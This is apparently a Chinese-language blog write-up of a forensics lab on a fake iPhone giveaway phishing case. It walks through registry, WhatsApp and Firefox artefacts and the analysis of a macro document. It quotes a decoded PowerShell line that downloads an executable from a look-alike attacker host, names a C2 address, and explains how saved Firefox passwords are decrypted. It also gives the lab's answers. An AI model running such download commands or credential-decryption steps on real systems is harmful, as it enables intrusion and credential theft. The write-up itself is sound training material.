今天要打的是 Phishy Lab,難度為 medium,分類是 Endpoint Forensics。
FTK Imager, oledump(https://www.youtube.com/watch?v=52pFz8sYMFs), registry explorer, DB browser for SQlite
一家公司的員工參與了一場假冒iPhone的贈品活動。我們的團隊提取了該員工係統的磁碟映像,以便進一步分析。
身為 SOC 分析師,你的任務是確定係統是如何被入侵的。
註冊表 (Registry) 是一個龐大的資料庫,儲存著作業系統、硬體和應用程式等等的配置設定,它由多個子部分 hive 組成。
C:\Windows\System32\config\system 這個檔案是儲存 SYSTEM hive 的地方,裡面存放了許多系統的關鍵資訊,當然也包含主機名稱。
要瀏覽hive的內容可以用 Registry Explorer 這個工具。
用 FTK Imager 把 ad1 檔案打開,把 C:\Windows\System32\config\system 導出
接著用 Registry Explorer 打開,在ControlSet001\Control\ComputerName\ComputerName 下可以看到主機名字
Ans:WIN-NF3JQEU4G0T
AppData 用於儲存應用程式資料,所以要找到使用者安裝的應用程式我們可以到這個目錄來看,其中只有 WhatsApp 是通訊軟體。
Ans:WhatsApp
AppData 下有三個資料夾:
Roaming:儲存可在多台電腦間漫遊的資料,如果帳戶在多台裝置登入,這個資料夾的內容會同步。
Local:儲存特定於單一電腦的資料,通常體積較大且不適合同步。
LocalLow:儲存具有較低權限的應用程式所使用的資料,以增加安全性。
所以像 WhatsApp 的通話紀錄這種同步需求很高的資料就會存在 Roaming 底下。
\Users\Semah\AppData\Roaming\WhatsApp\Databases\ 下最重要的就是 msgstore.db 這個資料庫,他記錄著所有聊天訊息。
把它導出然後用 SQLite viewer 打開
第 17 項的訊息內容:We listed the 5 winners in this document http://appIe.com/IPhone-Winners.doc,顯示攻擊者誘騙受害者去下載這個 IPhone-Winners.doc
Ans:http://appIe.com/IPhone-Winners.doc
###Q4:文件中有多個資料流包含巨集。請提供編號最高的資料流。
oledump 是一款用來分析 OLE 檔的工具。許多惡意文件會利用 OLE 格式來嵌入惡意巨集(macros),oledump 幫助我們在不開啟文件的狀況下,快速檢查文件中是否藏有可疑內容。
python oledump.py IPhone-Winners.doc
含有巨集(在 Macros/VBA/ 下)且編號最高的就是 Macros/VBA/iphoneevil,10 號
Ans:10
用 oledump 把巨集內容 dump 出來
python oledump.py -s 10 -v IPhone-Winners.doc
-s 指定串流,-v 解壓縮 vba 內容
他是一段經過混淆的程式碼。把它 CreateObject 然後 Run 這行(倒數第2行)刪掉,替換成
Debug.Print lllllllllll
Debug.Print llllllllll1
用來把變數 print 出來
接著新增一個 Word 文件,打開後按 Alt + F11 開啟 VBA 編輯器,上面選插入 -> 模組,然後貼上剛剛改好的程式碼
按綠色箭頭執行,按 Ctrl+G 查看輸出結果
是一段 Base64 編碼的程式碼,並且用 PowerShell 的 -EncodedCommand 執行程式碼,-EncodedCommand 是 PowerShell 中一個很強大的功能,但也常被惡意軟體濫用。
Ans:powershell
當PowerShell 使用 -EncodedCommand 參數時,PowerShell 會先對 Base64 字串進行解碼,然後用 UTF-16LE 對解碼出來的二進制數據再次解碼,然後再執行程式碼。所以我們把剛剛得到的 Base64 解碼之後還要用 UTF-16LE 再次解碼才能得到正確的程式碼。
invoke-webrequest -Uri 'http://appIe.com/Iphone.exe' -OutFile 'C:\Temp\IPhone.exe' -UseDefaultCredentials 這條命令的作用是從http://appIe.com/Iphone.exe下載Iphone.exe並將其儲存在C:\Temp\IPhone.exe。
Ans:http://appIe.com/Iphone.exe
Ans:C:\Temp\IPhone.exe
export file hash
然後丟到virustotal上
Metasploit 是一個框架(framework),他就像駭客的工具箱,裝載了各種駭客工具,用來發動攻擊。 Meterpreter 是 Metasploit 中最受歡迎的工具之一,用於在成功入侵後建立隱蔽的遠端控制。看到Meterpreter就可以推斷它是用metasploit建立的
Ans:Metasploit
在 VirusTotal 的 behavior 頁面的最下面可以看到 C2 server 為 155.94.69.27 。
Command and Control Server 簡稱 C2 server,是一台由攻擊者控制的伺服器,用於控制著所有被他感染的電腦,並且發送指令。
Ans:155.94.69.27
要看使用者訪問了哪些頁面,我們要查瀏覽器的紀錄。在 appdata 下我們有看到使用者有安裝 Firefox。前面說過,要同步的資料會存在 roaming,當然瀏覽紀錄也是。
Firefox 的瀏覽紀錄存在 places.sqlite 這個檔案中,位在 Firefox 的 profile 底下。
導出檔案
用 SQLite viewer 打開,在 moz_places table (下載資訊) 的第 17 項可以看到名為 log in 的頁面
所以答案就是https://for1.q21.ctfsecurinets.com/admin/login/?next=/admin/ 嗎?但是輸入後答案是錯的
這裡我上網看了很多篇 Firefox forensics的文章,但都沒有找到原因,後來我跑去問氪金版AI,他幫我找出了問題所在。我簡化他的回答後放在這裡
於是我把places.sqlite、places.sqlite-wal、places.sqlite-shm都導出到同一個資料夾,再用 DB Browser 打開
就能看到正確的 URL 了
Ans:http://appIe.competitions.com/login.php
logins.json 檔案包含已儲存的登入憑證,但裡面存的值是加密的,需要用 PasswordFox 來解密。
導出 logins.json 和 key4.db (都和 places.sqlite 同位置) 到同一個資料夾。key4.db 儲存了用於加密和解密的加密金鑰。
然後執行 PasswordFox,按左上角的 file -> select folder,選剛剛導出的資料夾
Ans:GacsriicUZMY4xiAF4yl
今天我們學到了很多新的分析技能與工具,像是 WhatsApp 通訊紀錄分析、用 oledump 分析巨集、Firefox 瀏覽器鑑識等等。SQLite WAL 檔案處理遇到的問題是一個很好的經驗,因為這類細節往往決定了調查的成敗。
明天我們將繼續深入記憶體鑑識。